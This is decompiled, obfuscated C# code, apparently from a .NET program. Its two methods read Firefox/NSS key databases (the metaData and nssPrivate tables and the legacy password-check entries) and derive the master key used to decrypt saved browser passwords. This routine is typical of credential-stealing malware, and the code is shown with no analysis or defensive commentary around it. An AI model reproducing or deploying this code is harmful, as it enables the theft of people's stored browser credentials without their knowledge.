// Token: 0x06000179 RID: 377 RVA: 0x0000D728 File Offset: 0x0000B928 private static byte[] smethod_8(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (File.Exists(string_3)) { CNT cnt = new CNT(string_3); cnt.ReadTable("metaData"); string s = cnt.ParseValue(0, "item1"); string s2 = cnt.ParseValue(0, "item2)"); Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData; Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.method_2(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None); cnt.ReadTable("nssPrivate"); int rowLength = cnt.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Class18.byte_0)) { s3 = cnt.ParseValue(i, "a11"); IL_152: Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = gecko3.Objects[0].Objects[1].ObjectData; gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.method_2(); array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7)); return(array); } } goto IL_152; } result = array; } catch (Exception) { result = array; } return(result); }
// Token: 0x0600017A RID: 378 RVA: 0x0000D960 File Offset: 0x0000BB60 private static byte[] smethod_9(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(string_3)) { result = array; } else { new DataTable(); Gecko9 gecko9_ = new Gecko9(string_3); Gecko7 gecko = new Gecko7(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_0))); string string_4 = Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_1)); Gecko8 gecko2 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), Class18.smethod_10(gecko.EntrySalt)); gecko2.method_2(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class18.smethod_10(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Class18.smethod_10(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_2)))); Gecko8 gecko4 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.method_2(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }